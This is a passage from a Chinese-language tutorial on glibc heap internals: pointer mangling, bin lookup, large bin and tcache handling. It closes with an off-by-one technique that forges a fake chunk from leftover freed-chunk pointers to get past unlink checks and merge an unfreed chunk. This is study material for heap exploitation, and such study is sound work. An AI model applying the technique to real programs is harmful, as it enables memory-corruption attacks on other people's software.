// fd->bk = addr_a, bk->fd = addr_a
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    ......


到这里我们就完成了恶意向后合并未释放chunk的流程,不过在这个流程中我们需要的已知信息是比较多的,主要包括chunk的地址以及它们之间的偏移值。


柳暗花明又一村

在GLibC的堆结构中,有一个很重要的成员混用问题,它就是malloc_chunk结构体的fdxxbkxx在使用与空闲阶段的管理定义上。


fdxxbkxx使用时与数据区合并,只在空闲时发挥成员原本定义中的作用。


在GlibC的预期中,chunk只要被释放fdxxbkxx都会被重新赋值,这样看似没有问题的管理,真的不会带来问题吗?


首先chunk释放时,fdxxbkxx肯定不会直接使用chunk上的数据,它一定会被GLibC换成一个与链表相配的指针。


地址泄露的风险分析

那chunk取出时呢,首先fdxxbkxx指针会继续留在那里,不会被清理掉,这个时候当然会有地址泄露的风险。


不过这个风险存不存在,先要看看于GLibC的版本的脸色,在2.32版本之前,地址被泄露后可以直接拿来利用。


但2.32之后,部分类型链表中的地址会被PROTECT_PTR随机化。


与地址随机化相关的两个宏放在了下方。


#definePROTECT_PTR(pos, ptr) 
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#defineREVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

地址随机化与异或加解密

PROTECT_PTR负责加密,REVEAL_PTR负责解密,仔细观察会发现,这个加解密的过程稍微用了点技巧。


首先PROTECT_PTR接受两个参数,第一个参数pos的低12个比特位会被移走,然后跟待加密地址ptr进行异或运算,ptr有效地址的高12比特位会被保留下来,但剩余的低36比特位则会随异或运算发生变化。


但随机化后的地址的又是怎么还原的呢?


REVEAL_PTR只接受被解密地址ptr作为参数,然后找到存放ptr的地址,将地址右移12比特位后,再跟已被随机化的数据进行异或运算后,就完成了信息的还原。


看到了这里你应该意识到了一个事情,在异或运算过程中,比特位的数值相同时会产生0,反之则会产生1,如果PROTECT_PTRposREVEAL_PTR&ptr数值一样,那么ptr被随机化时,ptr的低36个比特位中与pos相同的部分会变成0,不相同的部分则变成1,当被随机化的ptr还原时,比特位上的数值会再翻转回来。


PROTECT_PTRREVEAL_PTR设置了一个默认的规矩,那就是PROTECT_PTRpos需要传递ptr所在的内存地址,当ptr放进pos之后,REVEAL_PTR就可以直接使用&ptr获取随机化时使用的密钥。


PROTECT_PTRREVEAL_PTR的使用场景有限,只会在tcachefastbins的场景下才会被使用。


如果chunk在释放时进入bins数组中的链表,就不用担心地址随机化的问题。


chunk的迁移

在非fast chunk且非mmap分配的chunk进入_int_free函数开始释放时,最终会进入_int_free_create_chunk内部,该函数会将空闲chunk放入链表中。


如果空闲chunk的相邻高位chunk不是top chunk,那就会进入bins链表。


尽管链表的类型有很多,但加入的链表类型缺不是经过慎重选择的,而是GlibC直接选择的unsorted chunk


#define unsorted_chunks(M)          (bin_at (M, 1))

_int_free
-> _int_free_merge_chunk
-> _int_free_create_chunk
-> mchunkptr bck = unsorted_chunks (av);


空闲chunk在链表中的迁移源自于分配操作给出的压力。


fastbin链表的匹配

在程序发出堆内存分配申请后,程序会进入_int_malloc函数,该函数会先判断申请大小是否符合fast bin的要求。


大小符合fast bin要求且fastbinsY[idx]不为空链表时,就返回空闲chunk。


如果大小不符合,或者fastbinsY[idx]链表为空时,那就会继续向下走,寻找其他可用chunk。


_int_malloc
->if (nb <= get_max_fast())
->  mfastbinptr *fb = &fastbin (av, idx);
-> victim = *fb;
->if (victim != NULL)
-> ......
->return p;

smallbin链表的匹配

找完fast bin后,会继续找small bin,逻辑与上面大致相同,先判断大小是否符合,再判断链表是否为空,大小匹配且链表不为空,就会取出chunk返回给程序使用,反之则继续进行查找chunk。


_int_malloc
->if (in_smallbin_range (nb))
-> idx = smallbin_index (nb);
-> bin = bin_at (av, idx);
->if ((victim = last (bin)) != bin)
-> ......
->return p;

fastbin的合并与largebin的查找

如果small bin也不符合要求,就会进入large bin查找。


此次查找的逻辑稍有不同,主要体现在查找需求上,此时申请内存的大小不仅仅只是有符合large chunk大小的,fast chunksmall chunk也都是有可能的。


GLibC第一步做的是取出申请大小在large bin中对应的索引值,然后判断arena信息中的have_fastchunks是否为真。


为真就说明fastbinsY中存在不为空的链表,并通过malloc_consolidate函数将fast bin链表中的chunk合并到unsorted bin链表或top chunk中。


_int_malloc
->if (in_smallbin_range (nb))
-> ......
->else
-> idx = largebin_index (nb);
->if (atomic_load_relaxed (&av->have_fastchunks))
->malloc_consolidate (av);


上面找到的large bin链表的索引值idx并不会立即使用,接下来会进入一个较为复杂的处理逻辑当中。


unsortedbin的匹配

在GLibC的逻辑中,bins数组中第一步是遍历unsorted bin链表,只要链表不为空,就会持续在unsorted bin链表中查找,直到匹配到合适的chunk就会返回,或者当整个链表遍历完后仍找不到合适的chunk,则会继续向下进行。


if (in_smallbin_range (nb) &&  bck == unsorted_chunk ...是第一个匹配条件,它要求chunk在samll bin的范围内,而且unsorted bin链表中只有一个空闲chunk,并且这个chunk的大小是超过申请大小的。


除了上面的要求之外,还有一个特别的要求victim == av->last_remainder,这个要求指的是chunk必须是最近切割过的chunk。


将这个筛选要求放在第一的原因并不复杂,那就是尽可能的避免内存碎片化,让申请较小内存的请求可以拿到连续的内存区域。


#define unsorted_chunks(M)		(bin_at (M, 1))

_int_malloc
    -> for (;;)
        -> while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
            -> if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsignedlong) (size) > (unsignedlong) (nb + MINSIZE))
                -> ......


发现不符合上面的要求后,_int_malloc会继续向下查找。


不过这个时候_int_malloc做个一个奇怪的操作,那就是将unsorted bin链表中当前使用chunk从链表中拿出来。


难道在这个时候,GlibC就预测到这个chunk一定会被取出吗?


取出chunk后,_int_malloc会针对unsorted bin进行第二段匹配操作,这里匹配的要求相对简单,只要chunk大小和申请大小一致就会返回。


_int_malloc
->for (;;)
->while (...)
->unsorted_chunks (av)->bk = bck;
-> bck->fd = unsorted_chunks (av);
->if (size == nb)
-> ......

unsortedbin中的chunk迁移

接下来,_int_malloc会迎来针对unsorted bin的最后一段操作,这也是本阶段中最奇妙的操作。


首先呢,会判断unsorted bin链表中当前chunk的大小,这里是跟small bin以及large bin进行比较,难道它们直接要产生什么联系了吗?


不管是small bin还是large bin,它们都有一个极为相似的起手操作。


这个动作就是,获得正在用于匹配的victim其大小在unsorted bin链表中的索引值,然后根据索引值通过bin_at获得链表尾。


在这里取出chunk时为了尽可能的取出位于CPU缓存上的数据,所以这里会将fd链表头取出到fwd中,fd链表头是最晚入链的chunk。


_int_malloc
->for (;;)
->while (...)
-> ......
->if (in_smallbin_range (size))
-> victim_index = smallbin_index (size);
-> bck = bin_at (av, victim_index);
-> fwd = bck->fd;
->else
-> victim_index = largebin_index (size);
-> bck = bin_at (av, victim_index);
-> fwd = bck->fd;


接下来,small binlarge bin的操作会发生一些分歧,这里的分歧指的是进入large bin分支之后,该分支额外进行的操作。


首先它会判large bin链表中是不是空链表。


bck&bins[(i-1)*2]-offset(fd)fwd指向bins[(i-1)*2],如果它们相等就代表bins[(i-1)*2]上仍是初始值,未被插入过chunk,因此链表为空。


if (fwd != bck)
-> ......
else
-> ......


◆如果链表不是空的话,逻辑会复杂些。


首先呢,GlibC会检查,victim的大小size是否小于最早入链的chunk。


你应该还记得,bins数组中有好多对链表,每对链表都有fdbk两个链表,其中链表fd的规则是LIFO,而bk链表则是FIFO,它们共同组成双向循环链表。


其中bins[(i - 1) * 2]存放fd链表的头成员,bins[(i - 1) * 2 + 1]存储bk链表的头成员,fd链表的头成员是最晚入链的chunk,bk链表的头成员是最早入链的chunk。


if ((size) < chunksize_nomask (bck->bk))


a. 当待入链的victim比最早入链chunk小的时候,会将最晚入链的fwd重新赋值成链表尾,然后再更新fd_nextsizebk_nextsize


其中victimfd_nextsize指向最晚入链chunk,bk_nextsize则指向最晚入链chunk的bk_nextsize


因为即将有更小的victim将要入链,所以会将最晚入链chunk的bk_nextsize以及另一个不同大小chunk的fd_nextsize更新成victim


fd_nextsizebk_nextsize是专门为large bin而设的,它们与fdbk不同,fdbk维护的是相同大小组成的chunk,xx_nextsize则维护同一链表中但大小不相同的chunk。


之所以说xx_nextsize是为large bin而设的,是因为同一链表中维护大小不相同的chunk这种情况,只有large bin链表才具备。


最后,victim作为新的最晚入链chunk,GLibC会让bk指向最早入链的bck,而fd指向链表尾fwd,再更新fwdbk以及bckfd更新为victim,目的是完成victim插入链表的操作。


你可能会好奇,fwd->bk应该是等价于bins[(i - 1) * 2 + 1]的,也就是等价于链表bk的头成员,在这里victim并非是最早入链的chunk,有什么要更新呢?


这是因为bk链表的FIFO原则需要为按大小排序的原则让步。


if ((size) < chunksize_nomask (bck->bk)) {
    fwd = bck;
    bck = bck->bk;

    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;


b. 当victim大于等于最早入链的chunk时,GLibC会遍历fd_nextsize链表。


if ((size) < chunksize_nomask (bck->bk))
else
->while (size < chunksize_nomask (fwd))
-> fwd = fwd->fd_nextsize;


遍历fd_nextsize链表是为了找到一个比victim大或相等的chunk。


当大小相等时,就拿出当前chunk的前一个chunk,后面victim插入链表时,自己作为最晚入链的chunk,bk当然指向链表尾,fd继承旧chunk的前一个chunk,它被设置成fwd->fd,最后建立fwd->fdvictim的联系完成插入动作。


if ((size) < chunksize_nomask (bck->bk))
else
->while (size < chunksize_nomask (fwd))
-> fwd = fwd->fd_nextsize;
->if (size == chunksize_nomask (fwd))
-> fwd = fwd->fd;
-> bck = fwd->bk;

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;


如果是大于的话,就会先将victim插入xx_nextsize维护的链表当中。


bck = bin_at (av, victim_index);

if ((size) < chunksize_nomask (bck->bk))
else
->while (size < chunksize_nomask (fwd))
-> fwd = fwd->fd_nextsize;
->if (size == chunksize_nomask (fwd))
-> fwd = fwd->fd;
->else
-> victim->fd_nextsize = fwd;
-> victim->bk_nextsize = fwd->bk_nextsize;
-> fwd->bk_nextsize = victim;
-> victim->bk_nextsize->fd_nextsize = victim;
-> bck = fwd->bk;

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;


◆如果链表为空就会直接将victim插入链表。


因为链表中没有其他的chunk,所以xx_nextsize只能更新成victim的地址。


->if (fwd != bck)
-> ......
->else
-> victim->fd_nextsize = victim->bk_nextsize = victim;

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;


在这里,不管victim是属于small chunk还是large chunk,它都会被移除链表unsorted bin中,转移到small binlarge bin内。


largebin的匹配

经过前面的操作后,fast chunksmall chunk以及unsorted chunk都有了被使用的机会,但large bin呢?


有的,兄弟,肯定有的。


到这个时候没有匹配到的话,GLibC会针对large bin链表进行匹配。


首先做的自然还是判断大小,只要不属于small bin那就是large bin了。


if (!in_smallbin_range (nb))


此时GLibC会继续判断链表是否为空以及fd链表头的chunk大小是否超过申请大小。


-> bin = bin_at (av, idx);
    -> if ((victim = first (bin)) != bin && (unsignedlongchunksize_nomask (victim) >= (unsignedlong) (nb))


当链表不为空且最晚入链chunk超过申请大小时,GLibC会先针对bk_nextsize链表进行遍历,目的是找到一个最接近申请大小且大于申请大小的chunk。


while (((unsignedlong) (size = chunksize (victim)) < (unsignedlong) (nb)))
    -> victim = victim->bk_nextsize;


找到符合的chunk后,GLibC会判断当前chunk是不是最早入链,且链表中存在与当前chunk大小相同的chunk,如果是就让当前chunk变成victim->fd


这么做是为了避免移除最早入链chunk后,需要再次维护链表信息。


if (victim != last (bin) && chunksize_nomask (victim) == chunksize_nomask (victim->fd))
    victim = victim->fd;


拿到可用的victim后,GlibC会对victim进行切割,并将切割后的剩余大小保存在remainder_size中。


然后通过unlink_chunkvictimlarge bin链表中移出来。


remainder_size = size - nb;
unlink_chunk (av, victim);


最后会判断remainder_size的大小,当remainder_size小于MINSIZE时,说明切割后的大小不满足最小尺寸的要求,此时就不会切割。


然后直接使用chunk的原大小size偏移到高地址chunk,目的是告诉上一个chunk,当前chunk已经被使用了。


如果切割后的大小满足最小尺寸的要求,那就好将切割后的部分remainder放入链表unsorted bin当中(这里通过申请大小nd偏移到被切割的chunk)。


处理好切割部分后,就将可用的chunk返回,交给程序进行使用。


if (remainder_size < MINSIZE)
->set_inuse_bit_at_offset (victim, size);
else
-> remainder = chunk_at_offset (victim, nb);
-> bck = unsorted_chunks (av);
-> fwd = bck->fd;
-> remainder->bk = bck;
-> remainder->fd = fwd;
-> bck->fd = remainder;
-> fwd->bk = remainder;
return p;

扩大范围进行搜索

假如large bins提供的chunk还没有被命中怎么办呢?


不要担心,GLibC自又办法处理,接下来GlibC会用到struct malloc_state结构体的binmap成员。


binmap的介绍

binmap是什么呢,首先它结构体中的定义可以知道,它是一个容量为4的数组,数组中记录着bins数组中的链表是否为空,用于辅助GLibC遍历链表。


#define BINMAPSHIFT      5
#define BITSPERMAP       (1U << BINMAPSHIFT)
#define BINMAPSIZE       (NBINS / BITSPERMAP)

struct malloc_state {
    ......
unsignedint binmap[BINMAPSIZE];
    ......
}


下面是几个关于binmap的宏定义信息,这些宏揭示了binmap是如何辅助遍历的。


#define BINMAPSHIFT			5
#define idx2block(i) ((i) >> BINMAPSHIFT)
#define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1))))
#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
#define unmark_bin(m, i) ((m)->binmap[idx2block (i)] &= ~(idx2bit (i)))
#define get_binmap(m, i) ((m)->binmap[idx2block (i)] & idx2bit (i))


bins[NBINS * 2 - 2]数组的容量是254 128 * 2 - 2,其中0到1的位置会留给unsorted bin使用,从下标126 = (64 - 1) * 2开始是large bin链表,下标2到下标125的空间是small bin链表。


bin_at(M, 1)                    -> unsorted bin
bin_at(M, 2)  - bin_at(M, 63)   -> small bin
bin_at(M, 64) - bin_at(M, 127)  -> large bin


binmap一共有BINMAPSIZE元素,BINMAPSIZE一般为4,binmap将NBINS按照BITSPERMAP划分成4个block,每个block一般占有32 = 1 << 5个比特。


在GLibC的概念中,每个block都对应一个map,每个map都对应着32个链表。


bin_at宏的眼中,一共有127个链表,idx2block宏可以将bin_at宏的索引值转换为binmap的block,通过block可以在bimap中找到map。


idx2block宏将bin_at宏使用的索引值右移5位,因为索引值最大就是127,其二进制格式为0111 1111,右移后刚好是block的最大值3,其余的数值右移会分别对应2,1,0。


对于map来讲,它里面存放着32个链表的标志位,标志位存在则代表链表不为空。

标志位的赋值只在unsorted bin中的chunk迁移到small binlarge bin时发生,mark_bin宏会设置binmap[block]中map的标志位。


可以通过get_binmap比较标志位,判断特定链表是否为空。


unmark_bin宏则是可以清除map中的比特位。


_init_malloc
->while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
->mark_bin (av, victim_index);


map中特定链表的比特位是通过idx2bit宏计算的。


binmap被定义成了unsigned intunsigned int一般占用32个比特位,刚好可以对应map管理的32个链表。


idx2bit宏先设置一个低5个比特位全是1的数值,然后跟bin_at宏使用的索引值进行与运算,相当于除了第5个比特位全部消去,第5个比特位视情况保留。


最后将1根据上方计算得到的数值左移,得到一个二进制格式为1000...的数值A,那么任何数值跟A进行或运算,都会设置比特0到比特31中的某比特位1,至于&= ~那就是情况比特位了。


更大chunk的遍历

GLibC运行到这里时,就说明根据申请大小匹配的chunk无法满足使用要求,这里需要查找含有更大chunk的链表。


所以这里第一步就是将bin_at宏的索引值加1,让bin_at宏找到含有chunk更大一级的链表。


++idx;
bin = bin_at (av, idx);
block = idx2block (idx);
map = av->binmap[block];
bit = idx2bit (idx);


在此之后,GLibC就会进入循环当中不断遍历。


for (;;)


前面根据当前链表索引值idx拿到了对应的比特位,这里如果判断bit大于map时,就说明前面mark_bin一定没有给idx对应的链表进行设置,也就代表链表中没有chunk进入,仍还是空链表。


这个判断一旦成立,当前block区域肯定是没有链表可用了。


那么接下来就会遍历binmap,如果所有map的数值都为0,就代表所有map中的链表都没有chunk插入进来过,这时会直接跳转到use_top,开始使用top chunk


要是找到了链表不都为空的map,就会把map中最小的链表取出来。


这里的遍历并不会从0开始,因为查找存放比当前链表更小的map并没有意义,所以这里会累加block,查找拥有更大chunk链表的map。


if (bit > map || bit == 0)
{
do
    {
if (++block >= BINMAPSIZE)
goto use_top;
    }
while ((map = av->binmap[block]) == 0);

    bin = bin_at (av, (block << BINMAPSHIFT));
    bit = 1;
}


上面之所以使用最小的链表,是因为GLibC准备遍历整个map,直到找到合适的链表。


while ((bit & map) == 0)
{
bin = next_bin (bin);
    bit <<= 1;
assert (bit != 0);
}


找到合适的链表后,会检查链表是否为空。


victim等于bin时就代表链表为空,这时会清楚map中的比特位,然后开始下一次的遍历。


victim = last (bin);
if (victim == bin)
{
    av->binmap[block] = map &= ~bit; /* Write through */
    bin = next_bin (bin);
    bit <<= 1;
}


当链表不为空时,会进入一段极为眼熟的流程。


是的,这个流程在上面large bin匹配时看到过,那就是分割chunk,如果分割后的chunk大小小于最小尺寸要求,那就是不分割chunk,并将chunk返回给程序使用。


反之,则将剩余的chunk插入unsorted bin链表中,返回与申请内存大小想匹配的chunk给程序使用。


if (victim == bin) { ...... }
else
{
    size = chunksize (victim);
    remainder_size = size - nb;
    unlink_chunk (av, victim);
if (remainder_size < MINSIZE) { ...... }
else { ...... }
}


在上面遍历binmao的流程当中,你可能会有几点疑问。


top chunk的使用

要是还没有合适的chunk又该怎么办!


答案就是使用top chunk


victim = av->top;
size = chunksize (victim);


针对top chunk的使用,需要分成三种情况来谈。


◆情况一,是top chunk的大小比申请内存大小大,那就会切割top chunk,然后返回chunk给程序使用。


◆情况二,是发现arena中有fast chunk,这时会通过malloc_consolidate函数将fast bin链表中的chunk合并到unsorted bin链表或top chunk中,然后进入到下一次循环中。


◆情况三,是top chunk既不够用,而且又没有空闲的fast chunk可以合并,那么GLibC就会让sysmalloc通过brk机制扩展top chunk,最后返回给程序。


if ((unsignedlong) (size) >= (unsignedlong) (nb + MINSIZE)) {
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    av->top = remainder;
void *p = chunk2mem (victim);
return p;
else if (atomic_load_relaxed (&av->have_fastchunks)) {
malloc_consolidate (av);
if (in_smallbin_range (nb))
    idx = smallbin_index (nb);
else
    idx = largebin_index (nb);
else {
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

tcache与chunk的迁移

当你使用的GLibC版本比较高时,会发现malloc代码中经使用USE_TCACHE宏进行条件编译。


#if USE_TCACHE
......
#endif


USE_TCACHE宏在高版本的GLibC是默认会定义的,这是高版本的GLibC中默认启用了tcache机制,而USE_TCACHE宏范围中代码就是tcache机制需要的代码。


tcache是一种缓存机制,为每个线程都提供一种快速存取chunk的途径。


在GLibC的代码中,tcache作为一个全局变量存在。


tcache允许存放TCACHE_MAX_BINS个不同大小的链表,而且每个类型的链表中最多只能存在TCACHE_FILL_COUNT个chunk。


tcache_perthread_struct中的entries记录着链表信息,而counts则负责记录链表中存放的chunk数量。


#define TCACHE_MAX_BINS		64
#define TCACHE_FILL_COUNT 7
#define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

staticstruct malloc_par mp_ = {
    ......
    .tcache_count = TCACHE_FILL_COUNT,
    ......
}

typedef struct tcache_entry
{
struct tcache_entry *next;
uintptr_t key;
} tcache_entry;

typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;


在堆内存释放时,tcache被放入空闲chunk的优先级是最高的。


只要tcache机制启用,且tcache还没有被填满,就会使用tcache_put接口将控线的chunk填入tcache内。


_int_free
-> size = chunksize (p);
-> #if USE_TCACHE
-> size_t tc_idx = csize2tidx (size);
-> tcache_entry *e = (tcache_entry *) chunk2mem (p);
->if (tcache->counts[tc_idx] < mp_.tcache_count)
->tcache_put (p, tc_idx);
->return;
-> #endif
->if ((size) <= (get_max_fast ())) { ...... }
->else if (!chunk_is_mmapped(p)) { ...... }
->else { ...... }


在堆内存申请时,情况会变得复杂一些。


首先是tcache机制针对fast bin链表和small bin链表的设置,当申请内存的大小符合fast chunksmall chunk的要求时,GLibC会进入链表获取chunk,在这个时候,只有tcache机制启用就会遍历链表,并将链表中的chunk移到tcache中,直到tcache被填满。


其次是tcache机制针对unsorted bin链表的设置,在遍历unsorted bin链表时,找到与申请大小一样的chunk时,只要tcache机制开启,就不会立即将它返回给程序使用,而是优先填充到tcache中,直到tcache被填满。


当GLibC结束unsorted bin链表的遍历后,或者发现向tcache中填充的chunk数量已经超过了tcache_unsorted_limit,那就会从tcache中取出chunk返回。


_int_malloc
-> size_t tc_idx = csize2tidx (nb);
->if ((nb) <= (get_max_fast ()))
if (tcache != NULL && tc_idx < mp_.tcache_bins)
->while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL)
-> *fb = REVEAL_PTR (tc_victim->fd);
->tcache_put (tc_victim, tc_idx);
->if (in_smallbin_range (nb))
->if (tcache != NULL && tc_idx < mp_.tcache_bins)
->while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin)
-> bck = tc_victim->bk;
-> bin->bk = bck;
-> bck->fd = bin;
->tcache_put (tc_victim, tc_idx);
->for (;;)
->while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
->if (size == nb)
->if (tcache_nb > 0 && tcache->counts[tc_idx] < mp_.tcache_count)
->tcache_put (victim, tc_idx);
->continue
->else
-> void *p = chunk2mem (victim);
->return p;
->if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit)
->return tcache_get (tc_idx);
->if (return_cached)
->return tcache_get (tc_idx);

chunk迁移的总结

所以chunk的迁移总共可以分成四种情况。


◆情况一,是unsorted bin链表中的chunk匹配不上时,会将链表中的空闲chunk迁移到small binlarge bin中。


◆情况二,在获取large bin索引值或使用top chunk阶段,针对fast chunk进行的合并操作,fast chunk会进入unsroted bin链表或top chunk中。


top chunk相邻时,进入top chunk,反之则进入unsroted bin链表。


◆情况三,是large bin链表匹配或binmap匹配时,针对现有chunk的切割,当被切割的chunk超出最小尺寸要求时,会将剩余的chunk插入unsroted bin链表。


◆情况四,是分配阶段进入fast binsmall binunsorted bin时,会将链表中的chunk压入tcache内。


对于fast bin链表和small bin链表来讲,只要tcache没有被填满且链表还没有被清空,就会一直向tcache中填充。


对于unsorted bin链表来讲,在链表中空闲chunk与申请内存大小一致的情况下,会优先填充tcache,直到链表为空或tcache被填满才会停止。


这个时候不会直接返回chunk给程序使用,除非完成unsorted bin链表的遍历,或者发现填充tcache的数量已经超过tcache_unsorted_limit时,才会通过tcache获取接口tcache_get获取chunk,并返回给程序使用。


假chunk构造的分析

现在的情况是这样的,准备一个堆内存的OffByOne场景并不难。


◆程序向GLIbC申请内存大小的格式n * MALLOC_ALIGNMENT + SIZE_SZ


◆负责读取数据并写入chunk的函数通过程序申请大小判断长度,且会在数据结束处自动添加作为结束符。


因为GLibC的坑爹特性,程序拿到chunk大小是(n + 1) * MALLOC_ALIGNMENT


而且chunk的大小(n + 1) * MALLOC_ALIGNMENT还要再减去2 * SIZE_SZ,留给malloc_chunk结构体的mchunk_prev_sizemchunk_size使用。


由于MALLOC_ALIGNMENT一般均为2 * SIZE_SZ,所以程序的实际可用内存大小就变成了n * MALLOC_ALIGNMENT


这个大小可是要比申请大小n * MALLOC_ALIGNMENT + SIZE_SZ还要小的。


如果你想要申请到完全放心的内存大小,那就应该保证申请大小A通过下方公式产生的结果q是大于SIZE_SZ的,或者q等于0。


A % MALLOC_ALIGNMENT = q


当读取函数通过申请大小n * MALLOC_ALIGNMENT + SIZE_SZ大小作为判断写入数据的长度条件时,就会导致缓冲区变量溢出SIZE_SZ字节。


再加上读取函数将数据看作是字符串,默认在字符串数据的后面添加字符,就会导致SIZE_SZ + 1字节的溢出。


当溢出数据覆盖到相邻chunk的mchunk_prev_sizemchunk_size成员是时,堆内存的OffByOne场景就这么诞生了。


伪造的chunk数据与结构

前面已经有过分析,触发OffByOne场景后,想要绕过检查可谓是难如登天。


但是chunk释放时留下的数据好像又给了我们可以利用的空间。


对于unsorted binsmall bin来讲,当chunk被释放进入链表后,fdbk的位置会被填充,tcache与之相仿,它也有0x10的空间会被填充,这是因为chunk进入tcache时,会设置nextkey两个成员。


typedef struct tcache_entry
{
struct tcache_entry *next;
uintptr_t key;
} tcache_entry;


large bin链表是覆写范围最大的,当chunk被释放进入large bin链表之后,结构体malloc_chunk中的fdxxbkxx都会被覆写。


其中fd_nextsizebk_nextsize上的数值一定会是chunk的真实地址,而fdbk上可能是通过bin_at(M, x)拿到的属于GLibC的地址,也可能是chunk的真实内存地址。

fast bin链表是覆写范围最小的,因为它只会覆盖fd一个区域。


这些数据有一个好处,就是当chunk再被取出时,这些内存地址数据不会再被覆写。

检查绕过的另外一种思路小节中,说过一种在已知chunk的内存地址与chunk间偏移值前提下,构造恶意数据,让向后合并流程合并未释放chunk的方法。


那么这里能不能在不清楚知道内存地址的情况下,通过chunk释放留下的内存地址,完成向后合并所需要的内存布局呢?


| chunk A               |
| prev_2, size_2 ('') |
    |
1 | chunkA_address - prev_2 = fake_chunk_address
    |
    |------------------|
                       |
| fake chunk     |<----|      2
| prev_1, size_1 |------------------->if (size_1 == prev_2) -> right
| fd_1, bk_1     |--------->if (fd->bk == p && bk->fd == p) -> right
    |    |            3
    |    |
    |    | bk_1 = help_chunk2_address
    |    |---------------------------------|
    |                                      |
    | fd_1 = help_chunk1_address           |
| help chunk 1 |                    | help chunk 2 |
| bk_3         |                    | fd_3         |
    |                                  |
    |-> bk_3 = fake_chunk_address      |-> fd_3 = fake_chunk_address


首先我们假设,现在程序还没有申请与释放任何的一个chunk。


针对OffByOne场景触发unlink_chunk的内存布局构造,有两大任务需要完成,一是chunk Amchunk_prev_sizefake chunkmchunk_size的设置,二是针对fake chunk设置fdbk的关系。


在不给自己找麻烦的情况下,我们并不需要面临fd_nextsizebk_nextsize的检查,因为它们是为large chunk而准备的。


chunk Amchunk_prev_size可以在OffByOne发生时进行设置。


fake chunkmchunk_size呢?


显然我们需要在某个chunk的数据区上写入mchunk_size


进而会导致fake chunkfdbk也需要填入到数据区中。


想要快速的构造fake chunkfdbk,先申请一个large chunk是个不错的选择,因为它可以覆写chunk的前0x30字节空间,并且最后0x10字节的空间会被覆写成large chunk自己的内存地址。


这个时候只要程序申请一段小于large chunk的堆内存,就会将large chunk的部分内存拿到自己手中,申请的内存大小至少也要能包含bk_nextsize


* large chunk      *    * chunk A          *    * fake chunk       *
| ......           |    | ......           |    | ......           |
| bk_nextsize      |    | bk_nextsize      |    | bk               |
| fd_nextsize      |    | fd_nextsize      |    | fd               |
| bk               |    | bk               |    | mchunk_size      |
| fd               |    | fd               | -> | mchunk_prev_size |
| mchunk_size      |    | mchunk_size      |
| mchunk_prev_size | -> | mchunk_prev_size |


申请的chunk A的拿到后,你会发现就是large chunk的起始地址。


由于chunk刚刚从large bin中出来,所以chunk A数据区的前0x20空间都被写入了链表地址。


因为目前链表中只有large chunk,所以large binfake chunkfdbk留下的地址就是它自己的地址。


* fake chunk       *
| ......           |
| bk               | -> bk = large_chunk_address
| fd               | -> fd = large_chunk_address
| mchunk_size      |
| mchunk_prev_size |


如果我们想要直接利用large chunk留下来的地址,来绕过unlink_chunk函数中检查,恐怕难度不小。


首先如果直接使用large chunk遗留下来的数据,那么我们也只能使用bk位置上的数据,这是因为bk->fd指向fake chunkmchunk_prev_size,这个数据可以随便设置,而不影响合并的流程。


但是fd->bk指向的则是mchunk_size,这个数据是非常重要的,它一旦有所偏差,就会导致chunk大小匹配检查无法通过,进而发生向后合并失败的情况。


fake_chunk_bk->fd = fake_chunk_mchunk_prev_size
fake_chunk_fd->bk = fake_chunk_mchunk_size


想要让bk->fd通过unlink_chunk的检查,就需要让mchunk_prev_size的位置上存储fake chunk的地址。


在不知道内存状态的情况下,想要将mchunk_prev_size写入chunk地址,还不干扰其他的内存数据,就只能让fake chunk进入fast bin闯一下了。


因为只有fast bin只写fd一个成员,所以只有mchunk_prev_size被改变是最符合预期的,fast bin设置的fd未必正确,可能还需我们修改几个字节,才可以让bk->fd指向fake chunk


bk->fd的设置已经有了着落,那fd->bk呢?


通过向chunk A填入数据构造fake chunk时,必写的就是mchunk_size,而且因为数据从低向高写入的特性,mchunk_prev_size也一定会被覆盖。


如果我们想要设置fake chunkbk,也就必须要覆盖fd,所以就让bk继续保存large chunk的地址,然后想办法修改mchunk_prev_size的数值可能是一种局部最优解。


所以在这里我们只修改fd的部分低字节,让新地址指向我们构造的环境中。因此向数据区域写入数据的格式为p64(0) + p64(size) + p8(z)


在上方,我们留下了这两个sizez两个变量数据,不过它们到底应该填成什么样的数值呢?


首先是size,它是fake chunkoffbyone chunk之间的偏移值,取决于构造完fake chunk之后和申请offbyone chunk之前,申请的堆内存总量大小,最后将它加上fake chunk的大小,就是它们之间的偏移值。


上面的计算方法有一个前提,就是fake chunkoffbyone chunk是连续的,因此你必须保证最初申请的large chunk足够大,能让它完成分割。


而且为了避免unlink_chunk函数将新产生的chunk视为large chunk,你还需要保证size的数值在small chunk的范围内,也就是你也不能申请过多的内存。


